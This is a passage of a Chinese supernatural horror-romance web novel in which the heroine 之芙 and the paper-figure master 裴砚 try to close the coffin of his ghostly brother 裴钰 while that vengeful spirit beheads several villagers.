男人恐惧地看着她,眼神不住地在她和门板之间游移,最后摇摇头。 门外敲门声再次响起,一声比一声重,仿佛鼓点一般不断地敲打着他恐惧的心脏,压迫他紧张的神经。 “咚!咚!!咚!!” “老二?老二!”门外的人的声音和门里之芙压低的声音混合着一起,“开门,快开门啊!!” “他死地是因为他说话只说一半,被我杀了。”之芙半真半假地吓唬他,用蜡烛捅住他的腰,“你知不知道他在人生的最后,说出的最后一句话是什么?他说……裴砚的命运,就是永远——” “——就是永远留在这里!” 之芙一怔。 “我什么都说了,你放过我!让我走,让我走!”男人挣扎起来,之芙一时愣在原地,猝不及防被他挣脱。 但她也顾不上去辖制对方了,脑海中回荡着那个预言—— 裴家的预言是很准的。甚至连裴钰的死都预言出来了,裴砚说裴钰身体健康,所以他的死大概率是意外。 人命可不像是别的虚无缥缈的东西那么轻飘飘,事关裴钰的命,兄弟俩一定想了很多办法来规避这个意外,但……裴钰还是死了。 裴家的预言,不是知晓就能避开的。 更何况,裴砚也并不准备把这件事告诉她——这还是她从NPC的嘴里硬撬出来的线索。 一切都串联起来了,之芙的脑海中最先浮现的,却是裴砚忧伤的脸。 那时她询问裴砚有没有想过跟她一起离开,裴砚没有说话,现在看来,答案却是显而易见的。 之芙下意识看向坐在自己肩膀上的小九,对方也茫然地望着她,她的视线往下看去,小纸人们站在地上,用一双双懵懂的眼睛望着她。 之芙蹲下身,嘴唇动了动,想说什么,很快又按捺下去,决定等见到它们的主人的时候,再问。 她抱小纸人抱进怀里,抬头只见被自己堵住的男人猛地撞开了门,然后——他顿在了原地。 之芙也是一顿,想起门外那个不能说的男人,抱紧了小纸人,默默地往后退了几步——她也是一顿。 腰上抵住了什么冷硬的东西,触感又奇异又熟悉。之芙心里咯噔了一下,心说:不会是她想的那样吧…… 她快速地回头看一眼——身后的东西隐没在房间昏暗的光线中,但仍闪射出细微的光线,之芙几乎是立刻就认出来了那是什么东西。 而就在她飞快地转头,又把头转回来的时候,被她摁住的男人已经开了门,却没有立刻逃跑。 ——之芙和他都看清楚了门外的景象。两个男人,就是之前追之芙的“老大”和“老三”,都表情僵硬地站在门口,而他们的身后—— 裴钰笑盈盈地站在那里。仿佛欣赏一出能逗人发笑的闹剧似地,饶有兴致地看着表情僵硬的三个男人。 之芙又往后退了一步。 腰上又冷又硬的触感仿佛在提醒她什么,又好像在嘲笑她:刚刚你用蜡烛当刀抵住别人的后腰,现在也算天道好轮回。 之芙回过头去,随着大门被打开,室内的灯光也明亮了许多,让她看清了那张熟悉的脸。 漆黑的实木棺椁里,那张熟悉的脸依然保持着温柔安详的笑意。这已经是停尸的第五天了,但不知道他们用了什么保存方式,尸体上没有异味,只有幽幽的木质香,像是润物无声的春雨,又像是诡异而不可捉摸的鬼影般,在注意到它的时候,它就已经填满了室内,无处不在。 这是……裴钰的棺椁。 之芙随便选的一间最靠近牌位的房间,竟然就这么巧合地选中了裴钰停尸的房间! 怀中的小纸人瑟瑟发抖,完全不见第一次见面时,它们主动掀开裴钰的棺椁,嬉笑着跟他亲昵的模样。发生了什么?为什么会变成这样? 之芙把视线投向了门前——三个男人面面相觑,半晌三人都突然绽出了一个僵硬的、比哭还难看的笑。 “老二……”他们维持着僵硬的笑,因为裴钰在身边而无法转身离开,同手同脚地走进了门里,僵硬地问,“老二,你,你找到那个女人了吗?” “……哦,哦!我,我找到了……”老二如梦初醒,转身看向自己身后的之芙。 之芙抱紧了怀中的小纸人,警惕地看着他们。就在对视的瞬间,三人的表情同时变了。 那是一个很复杂的表情,像是如梦初醒,厌恶,轻蔑,恨和如蒙大赦。这样复杂的表情,却同时出现在了三个人的脸上,几乎一模一样,让人毛骨悚然。 之芙心说不好,果然,下一秒,几个人猛地扑了过来! 一瞬间,之芙也明白了他们的意思:按照村子里的说法,第七天时,陪葬的人会和死人一起离开这个世界!所以……他们想现在杀了她,让裴钰离开! 第117章 《她看不见》 可是,对裴钰说爱的那个…… 之芙立刻闪进了棺椁后面, 她躲在后面,一抬手——手里紧握的“武器”只是一只蜡烛。 之芙:“……” 面对三个手拿镰刀菜刀、凶神恶煞的壮汉,而自己只有一根蜡烛, 饶是之芙也有点束手无策了。 她哽了一下——还能怎么办?唯一的救星似乎只有……裴钰? 她在心中飞快地计算着利用裴钰离开这里的可能性,但裴钰杀人的判定很奇怪, 如果她先出声引起裴钰的注意, 裴钰会杀掉她吗?它杀人的速度快得可怕,被他看到了,可没有反悔的余地…… 小纸人们从之芙的怀里跳了出来, 站在棺椁上, 盯着对面的三个男人。 对方明显愣了一下,似乎没有想到白先生会和这个女人“同流合污”。 之芙抓住这个机会, 看向三人身后, 大喊:“裴砚!你怎么来了?” 三人同时往身后望去——之芙则一把捞起棺椁上的小纸人, 趁着这个机会冲向他们身后的大门! “等等!”“别让那娘们跑了!”之芙越过其他人的一瞬间, 三人也反应了过来, 其中一人反应迅速地抓住了她的手臂:“别跑!” “嘶……”之芙的手臂被狠狠拽住,她一个踉跄,心说不好, 但还没等她想出新办法, 下一秒就撞进了一个坚硬的胸膛里—— 不会是裴钰吧?!!!之芙心里一惊, 他杀了多少人?现在已经有实体了吗? 心念电转间, 她一抬头—— 一张英俊而熟悉的脸,乍一看像是裴钰, 但是他一开口,之芙就认出来了。 是裴砚! “在做什么?”他仿佛察觉不到房间里剑拔弩张的气氛似地,轻描淡写地问。又轻松地把之芙的胳膊从目瞪口呆的男人手里解放出来, “你们来这里,是想看看兄长的身体吗?” “……” “……” 裴砚的表情镇定自若,仿佛对彼此之间的暗潮涌动一无所知,又像是凭空丢失了一段记忆,也完全看不到站在他身旁的那个跟他有着相似脸庞的男人似的。 一阵令人牙酸的沉默过后,男人收到了裴砚的暗示,结结巴巴地笑起来:“啊,对,对!裴先生,我们过来是想看看裴钰先生的……哦,对,还有这个女人!她想——” 在男人说话之前,裴砚开口打断了他。 “嫂子出什么事了吗?”裴砚语气平淡地询问,顿了顿又补充道,“哦,你是说她出门的事情?没关系的,是我让她可以随意出门的。” 男人“啊?”了一声,卡住了,结结巴巴地说:“裴,裴先生,不是您说……” 裴砚却再次打断了他:“她是兄长的妻子,想见见兄长也很正常,不必对她太过苛刻了,回去了,我会跟她说的。” 他加重了后半句话,给了男人某种息事宁人的暗示。 “毕竟兄长还在这里,在兄长面前闹太大总归不好,有什么事,等回去再处理吧。” 说着,他一步踏进了房间里,越过三人和之芙,走到了棺椁前。 小纸人从他的袖口跳出来,拉住之芙的手,把她往房间里带。 几人面面相觑,之芙明显看到了几个男人脸上错愕和茫然的表情,最后化为了“不理解,但相信裴砚”的表情,乖乖跟着他走进了房间里。 身后传来轻轻的脚步声,之芙低下头,看到身后投下的黑色影子…… 裴钰,也跟上来了。 “咕嘟。”身侧传来了一声清晰的咽唾沫的声音。之芙循着声音望去,几个男人的表情勉强还算镇定,但眼神里却透露着恐惧。 他们是没见过裴钰这样在死后重返人间的灵魂吗?看他们熟稔地装作没看到的表现,似乎不尽然。 根据裴砚的说法也能推测出来,这个村子里,死去的人会重新回到家人身边,直到七天后被陪葬的人一起带走。在这段时间里,其他人都要装作看不到它的样子,否则就会被它杀死。 大概是……以前没有遇见过这样超出控制的情况,也没有遇到过像之芙这样难搞的女人? 几人跟在裴砚的身后,只见裴砚的袖口里钻出几只小纸人,裴砚挥了挥手,示意小纸人们一起把裴钰的棺椁盖上。 但小纸人们却瑟瑟发抖地又钻回裴砚的袖子里,还有几只机灵的,直接扭头就跳进之芙的怀里,跟其他小纸人打着抖挤成一团。 裴砚抿着唇,抬起左手,残缺的无名指指根处浮现出几根红线,红线连接在小纸人们的身上,不断颤动,像是催促。 可平日里不需要裴砚多说就能理解他的意思的小纸人们,这一回却无论他怎么催促,都不肯靠近裴钰的棺椁。 之芙走到棺椁旁边,朝里面看去,裴钰的身体依然安静地躺在其中,表情安详得像是只是睡了一觉似地——总而言之,跟之前见到的看不出什么区别。 但小纸人们对它的态度却大变了。为什么? 之芙看向裴砚:“为什么它们……很害怕的样子?” 不只是害怕黑影裴钰,连这具遗体它们都害怕。 裴砚平静地目光看向她,又垂眼看向棺椁:“因为它已经变了,现在的它已经不是裴钰了。和只看外表的迟钝的人类不同,纸人分辨得出这种变化,它们比人类敏感得多。” “什么?”之芙不解。裴钰就站在身旁,她本以为裴砚不会解释,但裴砚只是顿了顿,接着说道: “因为有人看到了它。走失的灵魂会忘记自己生前的一切,甚至忘记自己已经死去。但如果有人看到它,说爱它,当它意识到自己已经死去时,它的灵魂就会变质,化为恶灵,永远缠着她。即使离开,它也会追到天涯海角。” 身旁的裴钰明显听见了这句话,它发出了一声轻笑,仿佛赞同裴砚的解释。 之芙:“……” 之芙想起了不久之前,裴砚也跟她说过同样的话,只是彼此他并没有过多解释,只是要求之芙尽快离开村子。 可是,对裴钰说爱的那个人,不就是她吗? 第118章 《她看不见》 如果明天我要离开你的话…… “裴、裴先生……”三个男人挤挤挨挨地挤做一堆, 瑟瑟发抖地站在棺材旁边,都不敢看棺材里面的人,磕磕巴巴地问, “现在、现在要做什么?” 裴砚抬起眼,平静地吩咐道:“去把棺材盖上。” “盖、盖、盖上?”三人目瞪口呆, 为首的男人说, “裴先生,不是只有第七天才能下葬吗?为什么现在就要……难道裴先生你也想……”他的目光看向了之芙,言下之意已经不言而喻。 只是他的眼神变了, 大概因为裴钰在旁边的缘故, 明明说着一样的话,眼神却还是畏畏缩缩, 完全不见最初目露凶光的凶恶样子。 裴砚不动声色地上前一步, 挡住了他看向之芙的眼神, 但嘴上只是不置可否道:“先关上。” 之芙在他背后戳了戳他:“裴砚, 你刚刚去哪里了?” “……” “你一直在祠堂里吗?你做了什么?” 裴砚没有回头, 只是不动声色地反手抓住了她的手。 “这个也不能告诉我?”之芙小声地说,继续用另一只手戳他的后背,“奇怪, 刚刚看到裴钰身上, 也没什么不一样啊。难道你真的跟他们说的一样, 想要杀掉我?” “……”裴砚垂下眼, 把她捣乱的手仔细地拢在掌心里,“你这么闲, 去跟他们一起干活?” “不要。”之芙说,“他们的眼神就差把我生吞了好吗!” “那还不走?还想留在这里?” “那不是因为……” “因为什么?” “因为你啊。”之芙的手指都被他拢在掌心里,她只能摇了摇裴砚的手, “你什么都不告诉我,怎么能让我放心得下。” “我还要你放心?”裴砚的表情看起来像是听到了一个好笑的笑话一样,有点无语,“你是白先生还是我是白先生?这位祭品小姐?” “哦——”之芙拉长了声音,说,“可是我不是因为这个才担心你的。” “……” “有人告诉我,你从小就向往着外面的世界。裴砚,你见过高楼大厦吗?就是……很高很高很高的大楼,下雨的时候云和雾会降下来,看不到顶,就像直入天际一样。” “……”裴砚的嘴唇动了动,“我在书里见过。” “那你玩过游戏吗?”之芙又问,“人类的游戏很好玩——有一种游戏,我很喜欢,可以在游戏里跟里面的角色谈恋爱。你肯定也会喜欢的。”毕竟,你就是游戏里的角色啊。 “……我没有想过跟谁恋爱。”裴砚说,“我也没有想过跟陌生的人产生交集。” “为什么你没有想过跟陌生的人产生交集呢?”之芙晃着他的手,小声地吸气,思考了一会儿,她说:“你不会是……啊,我知道了!是不是因为你一个人呆久了,有点害怕跟陌生人交往?” 她噗嗤一声笑了出来:“胆小鬼。”又很理解地拍拍裴砚的肩膀,“没关系啦,我可以带你下山的。你跟我离开这里,好不好?” “……我不是胆小鬼。”裴砚拍掉她的手,说。“而且我也没有想跟你一起离开这里。” “这没什么的。”之芙大大方方地说,“很多魅——人类也这样。害怕陌生的环境是人之常情。” “不是因为胆小。”裴砚打断了她的话。 “那是因为什么?” “……”裴砚又不说话了。过了好半晌,之芙才听到裴砚用很平淡的语气说了一句,“如果所有认识的人、到达的城市,最后都要离开呢?” “那也没关系啊。”之芙说,“最重要的是离开之前,还有很多很多时间可以在一起。比如说,嗯……我跟小九说过的一个例子,如果明天我要离开你的话,你……” 没等她说完,裴砚瞬间抓紧了她的手。 之芙笑了一下:“只是一个假设啦。如果明天我要离开你的话,你是想要跟我离开这里呢,还是想要维持现状,等到我离开你?” “……” “说话呀。”之芙把手抽出来,戳了戳他。看裴砚表情淡淡的,还是一如既往的冷淡,只有紧紧握着她的手显示出几分他的心绪不平。“如果我明天就要离开这里,你要跟我一起吗?” 又过了好一会儿,裴砚道:“那你应该快点走。” “……哈?” “我说,不是如果。明天已经是第六天了,你必须离开这里。”裴砚抓紧她的手,把坐在她肩头的小纸人小九拎了起来,塞进自己的袖子里,把她往前推了一下,“去。” 之芙莫名其妙的:“答非所问,你不会心虚吧?裴砚?” 裴砚还是把她往前一推:“去。” “去哪里?”之芙更莫名其妙了。 裴砚把握着的她的手举到半空中,捏了一下,然后放开:“去搬棺材。” 之芙:…… 之芙:“啊?” 刚刚跟他说的话,他完全没有在听吗? 之芙摸不着头脑,但看裴砚的态度很坚决的样子,她也不知道裴砚的葫芦里卖的是什么药,便对他招手道:“那你把小九还给我。” 裴砚抬了抬袖口。小九趴在他的袖子里,只露出一个可怜巴巴的纸片脑袋,整个纸身体也瑟瑟发抖。完全不像是能跟她一起去干活的样子。 ——裴钰还在旁边呢。刚刚裴砚和之芙说话的时候,它就那样一言不发地站在两人的身侧,脸上带着柔和的微笑,看起来就像是一个站在妻子和弟弟的身边,温柔地倾听他们说话的哥哥。 但从小纸人小九瑟瑟发抖的情况来看,实际完全不是这样…… 甚至,之芙往前走,裴钰也跟着她往前走。 啪嗒。啪嗒。啪嗒。 寂静的室内,脚步声变得很明显。 之芙走到棺材旁边,看了一眼棺材里的人——和第一次见面时没什么区别,裴钰的身体安详地躺在里面,不知道裴砚到底是在搞什么鬼。 她往旁边看了一眼,三个男人一人抬着一边棺材板的角,脸色通红,额角却不停地流下冷汗,胳膊上爆出青筋,看起来非常用力的样子——但棺材板却纹丝不动。 随着之芙和之芙身边的裴钰走到他们身边,他们的表情看起来更惊恐了。 第119章 《她看不见》 之芙心里咯噔了一下…… “你、你……你……”为首的男人结结巴巴, 一脸惊恐地盯着她,目光却不由自主地飘到之芙身后的裴钰身上。 “呵呵。”之芙虚伪地对他们笑了一下,立刻收回了自己的好脸色, 提醒,“叫我之芙。” “你来干什么?!”其中一个男人语气不善地问, 看着她的眼神也有点不怀好意。 之芙真怕自己下一秒就忍不住冲上去给他一拳:“当然是来帮你们的。”她冲他们挥了挥拳头, “再用那种眼神看我,我就揍你。” “揍我?”男人不屑地说,“你还装起——” 话说一半, 忽然像是被掐住了脖子的鸡似地, 下半句话被哽在了喉咙里,发出令人牙酸的“咔咔”声。 因为, 站在之芙身侧的裴钰, 忽然把手搭在了之芙的肩膀上。 男人脸上的表情狠狠地抽动了一下, 最后低下头去, 专心地跟棺材板奋斗去了。 肩膀上搭上一只手, 之芙也没回头去看——看这些人的表情,怎么也不可能是裴砚。 虽然肩膀上突然多出一双手有点渗人,但反正只要无视它就好了……无视它……无视它…… 之芙在心里给自己下着暗示, 低下头去专心地研究着棺材上的板盖。 她看了一眼棺材, 和她第一次见到的时候也没有什么区别——至少不是她能看出来的区别, 木头似乎还是那个木头, 棺材也似乎还是那个棺材,四四方方的, 看不出有什么奇怪的。 棺材板盖就放在一边,三人合力抬着三边的角,但奇怪的是, 他们满头大汗,脸色也隐隐发青,抬着木板的手臂上爆出青筋,似乎用了很大的力气,却无论如何也不能把它抬起来。 奇怪……之芙试着拉起一边,手底下的木板却仿佛有千斤重,那不是厚重的木材的重量,反而像是……一块铁或是一块冰,沉重得不是人能抬起来的。 “喝——哈!”四人同时用力,木板也不动分毫。 之芙把手松开,甩了甩酸痛的手腕,回头看向身后的裴砚:“裴砚?这个搬不动……” 裴砚站在昏暗的门前,站在窗外光线落不到的地方。昏暗的光线把他笼罩在其中,空气中,有细小的尘埃在飞舞。那些尘埃也像是变成了一扇扇珍珠串成的门帘,把他们分割来开,让他这样沉默地站在寂静之中。 他平静地一抬眼:“再试试。” 小纸人从他的袖口钻出来,虽然瑟瑟发抖,但也努力迈开僵硬的四肢,往之芙的方向走,似乎正在努力克制自己的恐惧来帮她。 却被裴砚一只手指摁住的脑袋,塞回袖口里:“好好呆着。” 之芙瘪瘪嘴,又回头去,一只手抬着棺材板的边角,熟稔自然地狐假虎威:“裴砚说再试一次。” 三人瞪着她,表情却也无可奈何,之芙说:“瞪我干嘛?干活啊!” 无奈,四人再次一人抬起一边,一同发力! 忽然,之芙感觉到肩膀一重。她抬起头,却发现其他三人不知何时也停下了发力的手,虽然手还搭在木板上,却都有些心不在焉地把目光放在了她的身上。 之芙对上了其中一人的目光,从他的瞳孔里,之芙看到自己的身影,还有…… 还有她身后的“人”。 肩膀上传来忽轻忽重的触感,冰冷的指尖在她的肩膀上摩挲。 黑色的瞳孔像是一面不甚清晰的镜子,映照出了他们现在的姿势。黑雾中,裴钰俊美的脸庞已经变得很清晰了,他就这样把下巴放在之芙的肩膀上,另一只手揽住她右边肩膀,忽轻忽重地摩挲着。 身后的黑雾似乎慢慢地弥漫上来,笼罩住了她,肩膀上的触摸慢慢变了味道,阴湿的视线从她的下巴一路往上,如有实质般黏答答地贴在她的唇上。 之芙抿了抿唇。 “再试一次。”她对其他人说着,转移自己的注意力。 可意识却忍不住地去关注肩膀上那人的动静,脑海中也止不住地思考: 如果她这个时候转头,对裴钰用魅惑术,会发生什么? 嗯……游戏的判定和她的魅惑,谁会先生效? 之芙还在默默地思考着,忽然感觉到肩膀上的重量离开了,紧接着,手上的木板也忽然一轻,恢复了正常的厚重木板的重量。 她心里一喜,拉住一边往上一抬—— “啊!”面前却传来一声尖叫。之芙抬头一看,只见站在自己对面的那人捂着手痛呼,大概是刚刚她抬起木板的时候他没有跟上,于是被砸了手。 他叫了一声,额头上浮现出豆大的汗珠。 之芙也吞了吞口水—— 裴钰不知何时离开了她的身后,在她低着头的时候,他已经坐在了木板上。 是的,他坐在木板上,饶有兴趣地看着发出尖叫的男人,黑色的瞳孔毫无生机,仿佛黑洞一般直勾勾地盯着对方。 “再、再试一次。”有人颤巍巍地说,“现在,应该能抬起来了吧……” 现在——指的应该是,裴钰坐在棺材上,他们才能抬起木板。 之芙终于意识到了裴砚为什么要让她来帮忙,又为什么要让他们把棺材给盖上。 “好,再来一次。”站在之芙对面——也是裴钰对面的男人咬着牙,颤巍巍地说。 四人同时用力,果然,这次顺利地把木板抬起了。不仅顺利抬起来,而且之芙总感觉,木板变轻了很多,这完全不像是实木上坐着一个成年男人的重量,反而轻飘飘的,像是抬起一朵棉花似地轻松。 只是,站在她对面,独自面对裴钰的那个男人,看起来就没有她这么轻松了。 豆大的汗珠不断地从他额头滴落,“啪嗒”一声砸在棺材上,在寂静的室内发出清脆的响声。他手抖得像是筛糠一般,甚至连之芙都感觉到手下的木板在震动。 裴钰换了个姿势,挡住了之芙的视线。 从身后,之芙看不到裴钰做了什么,但…… 只听一声尖叫,男人的眼睛几乎瞪出了眼眶,之芙心里咯噔了一下,下一秒,他惨叫起来,丢下手里的东西,不管不顾地朝大门跑去! 第120章 《她看不见》 “你们两个抬不动,去找…… “喂——”之芙目瞪口呆, 这人是不要命了吗?!下一秒,她只感觉眼前一花,原本坐在棺材上的男人消失不见, 她的身后,男人的尖叫声像是被人掐住了喉咙似地, 戛然而止。 “咚!咕噜噜……” “……”好熟悉的声音。甚至熟悉到让人手脚发寒了。 这是重物砸在地上, 又滚落开来的声音。在寂静的室内,显得无比清晰,让人毛骨悚然。 之芙下意识就想回头看, 但在回头之前她就控制住了自己——裴钰还在她身后呢。如果现在转头, 下一个脑袋掉在地上的就是自己。 她下意识看向站在自己身边的两个人,那人是跟着他们一起来的, 在这种封闭的村子里, 大概率是亲戚甚至是亲人。 其中一人咬着牙, 手上的木板重重地砸在地上:“再、再抬一次!” “哐!”地一声, 裴钰离开之后, 木板立刻失去了平衡,砸在地上发出一声巨响,重新变回千斤重的模样。 之芙和说话的男人努力了几次, 却无论如何也没办法把木板重新抬起来。 另一个人……之芙看向他, 他的眼睛瞪得像是一盏硕大而明亮的灯泡, 即使身侧的男人拉了他好几下, 他都没有回神过来。 他直直地看向之芙的身后,整个人像是一个绷紧到极致的弓, 脸上扭曲的、抽搐的表情任谁看到都会吓一跳,尤其是那双瞪直了的眼睛—— 之芙从他黑色的瞳孔里,看到了模糊的人影。那是此刻的她的身后的景象, 裴砚站在她的身后,看不清楚表情,他却站得一如既往地笔直,像一棵立在狂风骤雨中却依然笔挺得连叶子都不会晃动的大树。 诡异的冷静,仿佛早就料到事情会发展成这样。 裴砚的另一侧…… 无头的尸体躺在地上,脖颈断裂处不断喷溅出大量血液,有些血溅到了裴砚的脸上,他却连眼也一眨不眨。 “咕噜……咕噜……” 单调重复的声音不断响起,从男人的瞳孔里,之芙模糊地看到,裴钰蹲在地上,用两根手指不断拨弄着掉在地上的人头,像是在玩一个没有弹力的皮球似的。 但不同于光滑圆润的皮球,人脸上五官的凹陷总是让它滚出一段距离就卡在地面,柔软的皮肉和木地板互相摩擦,发出令人牙酸的咯吱咯吱的声音,凸起的眼球摩擦过地面,“嘎吱”作响,站在一旁的裴砚视若无睹,裴钰则饶有兴致地拨弄着它,像是想看看这颗人头到底能滚出多远。 男人的表情更加难看了,他的眉头和嘴角都不断抽搐着,像是犯了病似地,之芙甚至怀疑下一秒钟他就会瘫倒在地然后不断抽搐打滚…… 但下一秒钟,之芙发现自己想错了。 男人崩溃地发出一声尖叫,下一秒之芙若有所感地伸出手,却抓了个空。 “啊——!!!!”一声不似人形的惨叫过后,男人崩溃地抛下手里的木板,双手抱头蹲在了地上,精神已然完全崩溃,像是退化成了一个不知世事、遇到危险只会躲进被子里的小孩,缩成一团。 这些人都是之前迫害小九的村民,之芙对他们没什么同情。但是,这样做会被判定成看到裴钰吗?之芙突然有点紧张。 “老三!”另一个男人大喝一声,试图把他从崩溃中唤醒,但来不及了,下一秒,所有人只感觉眼前一花,黑影雾一般笼罩上来,快得让人来不及躲闪。 下一秒,男人的喉咙里发出“咔咔”的声音,血沫混合着空气从脖颈处不断乱飚,脖颈处冒出一道细细的血线,继而越扩越大,从血线里冒出细小的泡沫。 “咯!咯咯咯咯……” 之芙眉头一跳:这判定这么严格,但她昨天对着裴钰说了好些话,如今却还能好好站在这里,绝对不是判定的问题,除了裴钰放她一马之外没有别的解释。 下一秒,又是人头落地的重响。 一切诡异的、可怖的、畸形的声音都消失了。寂静的室内,只有男人剧烈喘息时发出的“呼哧”声。他双眼通红,之芙看着他,几乎怀疑他下一秒也要崩溃,重蹈覆辙。 但好几分钟过去,他却什么也没有做,维持着那个拿着木板的动作,僵硬得像个木偶。 直到裴砚的命令从身后传来:“把棺椁盖上。” 他的声音冷静极了,有种不动如风的沉重感。 男人擦了把脸,像是找到了救命稻草一般,双眼有了神采,甚至主动站到之芙的对面,抓住了之芙的对角线,用力—— 之芙也皱着眉,抿着唇,用力—— 但很显然的,光靠他们两个,是无论如何也抬不动这个木板的。 不仅是他们两个,如果裴钰不过来的话,再加十个人也抬不动这个东西——完全违反物理常识,只要裴钰靠近、接触这个木板,这个木板就轻得像是棉花,只要裴钰离开,木板立刻又重得像是铁。 但……裴钰不过来,他们难道主动去跟裴钰说:能不能麻烦你过来一下? 这不是找死吗?怕是话都没说出来,脑袋就先落地了。 之芙抬了好几次都没抬动木板,她用余光看向自己的身旁,杀了两个人之后裴钰身上的黑雾几乎已经消失了,他清晰地出现在视线的边缘,穿着干净整洁的白色衣服,一举一动都无比自然,看起来跟一个普通人没什么两样—— 如果他不蹲在地上,玩皮球一样把人头滚来滚去的话。 抬了几次都抬不动,对面的男人还在小声喊着“三、二、一——”,之芙心里冒出一股无奈:到底要玩到什么时候?按照游戏剧情,这算是剧情卡死了吗? 如果裴钰不来帮他们,他们就这样一直卡在这里吗? 像是听到了她内心的嘀咕,裴钰忽然转过脸来,笑眯眯地看着她。 之芙赶紧收回视线,感觉在自己对面的人抖得更加厉害了。 “去找几个人来。”裴砚的声音再次在他们身后响起,之芙转头看向他,正对上了一双冷静的眼睛。 不知为何,之芙感觉,裴砚好像是在……审视他们? 他的表情,好像一个局外人冷静地看着他们之间发生的一切,确保计划顺利执行。 “你们两个抬不动,去找几个人来帮忙。”裴砚又说了一遍,加重了后半句话,“跟他们说清楚发生了什么,多叫点人了。” 男人如蒙大赦,咽了咽口水,也没问裴砚为什么,蒙着头,一溜烟地逃走了。 120-130 第121章 《她看不见》 他问:“离开这里的话……… 之芙怀疑地看着裴砚。 他这是什么意思? 找其他人过来……然后让他们送死?还是让他们离开这里?可是裴砚和她都还在屋子里呢?难道他们俩能把棺材盖上? 裴砚却对她怀疑的表情视若无睹, 他转身看向身后跑向屋外的男人,抬起手,食指在空中微微一勾, 熟悉的红线自虚空中浮现,一头连接在残缺的无名指, 而另一头隐约伸向远处。 一只小纸人探头探脑地从他的袖口钻了出来, 只露出半边脑袋,小心翼翼地看了一眼站在一旁的裴钰。 之芙眼尖地注意到,这只小纸人跟别的纸人似乎不太一样——裴砚使用的所有纸人都是用雪白的宣纸做的, 除了小九这只是之芙剪出来的之外, 其他人的纸人的外表都大差不差,脑袋偏圆, 四肢和身体都偏细, 连身躯连接的转角处都有着一模一样的剪刀留下的转折。 一看就是裴砚自己剪出来的纸人。 但这只纸人不一样, 雪白的宣纸有些泛黄, 纸做的身体侧边已经有毛边了, 连脸上画出的五官也跟裴砚画的五官不一样。 总之,之芙一眼就能看出来,这只纸人不属于裴砚。 “裴砚?”之芙小声的问。 村里能使用纸人的只有裴家人, 裴家父母早亡, 所以这只纸人属于谁……几乎不做他想。 裴砚对她动了动唇, 做了个唇语:嘘。 下一秒, 纸人从裴砚的袖口里跳出来,转头看向裴钰。 原本蹲在一旁拨弄人头的裴钰似有所觉地回过头来, 正巧跟纸人对上了视线。 人头在地上滚动时发出的令人颤栗的咯吱声停了下来,房间里骤然陷入了诡异的寂静。 裴钰跟纸人对视了片刻,忽然勾起唇, 对着纸人勾了勾手指。意思是,过来。 但纸人直愣愣地站在那里,一句话也没有说,也没有动作。 就这么站了一会儿,它忽然扭头,朝着门外跑出去的男人的方向追去。 从表情上来看,裴砚似乎愣了一下,但紧跟着他站起身来,走向门外。 福至心灵地,之芙看向裴砚——他还站在原地,那只纸人从里面钻出来的手插着兜,看不清他的袖口。他表情不咸不淡,对面前的一切视若无睹,仿佛真的看不到眼前的一切似的。 直到裴钰从他身边擦肩而过,他才垂下眼,眼睫如黑翅般垂下,又过了好一会儿,才不堪重负般扇动。 看不见对方的人仿佛变成了裴钰,他无视了站在自己身边的弟弟,越过他,追着纸人的脚步离开了。 裴砚很少提起他的哥哥裴钰,大多数时候他总以一个旁观者的视角,冷静地用“兄长”二字提及他。之芙回顾他们几天的相处,忽然意识到,裴砚从来没有对她描述过裴钰本人是什么样的,她对他的性格、偏好或态度一无所知。 唯一一次提及对方,是裴砚说,他的哥哥一直希望他能离开村子,但最终还是失败了。 寥寥几字,她依然不知道裴钰的性格爱好,但却能从这一句话里,勾勒出一个对弟弟关心爱护的好哥哥的形象。 之芙不太了解人类,但她知道,像裴砚这样的家庭,父母去世之后,兄弟就会互相扶持着生活下去。 裴砚对自己的兄长……应该也很在意吧? 对人类来说,死亡真是无情…… 室内再次恢复了寂静,上一次踏入这里时房间里垂挂着无数白色的寿条,裴钰的尸体躺在棺椁里,房间寂静而安详,像是一处无人打扰的世外桃源。 而仅仅一天过去,这里却变得一片狼藉,地上溅满了鲜血,白墙更是狼狈不堪,无头的尸体倒在地上,死不瞑目的头颅滚落一边。 之芙抿了抿唇,她正欲说点什么来安慰裴砚,裴砚却抬脚跨过地上的无头尸体,插在兜里的手伸出来,小九和几个小纸人从他的袖口跳出来,不由分说地接手了之芙脚下的棺材板。 裴钰不在,这些木板仿佛有千斤重,但抬起它对这些小纸人来说却很简单,这些纸人的纸片身体看起来单薄得不堪一击,轻轻戳一下就能戳出个洞似地,但却“呼哈呼哈”地喊着口号,抬起了木板。 几步路对它们来说也轻松得很,四个小纸人一人抬着一边,跑到棺材边上的时候两个纸人跳上棺材,弯着腰作势要接,另外两个纸人往上推着木板。 “呵——哈!”小纸人把木板盖了上去,棺材发出一声沉闷的嗡鸣,随即恢复寂静。 “……等等。”裴砚忽然开口,随即大步跨过地上的尸体,三两步到了棺材前。 他的脚步急切得像是想要追上一个安详的梦,但真站在了棺材边,却又忽然停住,仿佛手足无措似地站了一会儿,才伸出手,轻轻地把手掌贴到棺材上。 “裴砚?”之芙从他身后小步跑来,她站在他身边,也忽然刹住了,看着裴砚表情怔怔的侧脸,忽然不知道该说什么安慰的话好。 “你哥哥他……”话说一半,之芙也不知道该说什么了。说“他也不想看你这样?”太俗套,说“你哥哥是个好人,让他入土为安吧”又太生疏。 沉默了一会儿,之芙到底也不知道该说什么了,她伸出手,轻轻拍了拍裴砚的肩膀。 “裴砚。”之芙认真地说,“你哥哥现在是我名义上的老公,虽然我也没见过他……我的意思是,我对他不熟悉。但是,你跟我说过,你哥哥想要你离开村子……” “裴砚,你离开村子之后,村子会变成什么样?” 裴砚背对着她,沉默了许久,久到之芙都以为他不会再说话了的时候,裴砚忽然开口:“不会怎么样。就……变成它该有的样子。白先生走后,死亡的魂魄会回到地面,但只要他们‘看不到’那些东西,就什么也不会发生。” 之芙想了想说:“那还是有些不同的,至少,不会有女孩再死在这里了。” 裴砚顿了顿,忽然伸出手,将沉重的木板往外推。他推得很吃力,往常总是镇定自若的挂着冷静表情的白先生,此刻涨红了脸,紧紧抿着唇,因为太过用力,指尖都泛着白。 之芙和小纸人都没有帮他,它们知道此刻裴砚不需要它们的帮助。 不知道过去多久,裴砚才勉强把棺材板往外推开了一小条缝—— 但就是这一小条缝里,忽然蹿出一股恶臭。 那臭味很难描述,像是一只腐烂的花,又像是是尸体在炎热的天气里放了太久,混合而出的奇异的、令人从天性里就恐惧和不适的味道。 